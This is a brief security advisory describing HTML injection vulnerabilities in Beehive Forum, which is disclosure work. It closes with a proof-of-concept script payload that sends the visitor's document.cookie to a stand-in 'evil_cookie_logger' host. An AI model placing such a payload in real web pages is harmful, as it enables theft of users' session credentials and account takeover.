source: https://www.securityfocus.com/bid/16002/info

Beehive Forum is prone to multiple HTML injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would be executed in the context of the affected Web site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit these issues to control how the site is rendered to the user; other attacks are also possible. 

<script>document.location.replace='http://www.example.com/cgi-bin/evil_cookie_logger.cgi?'+document.cookie</script>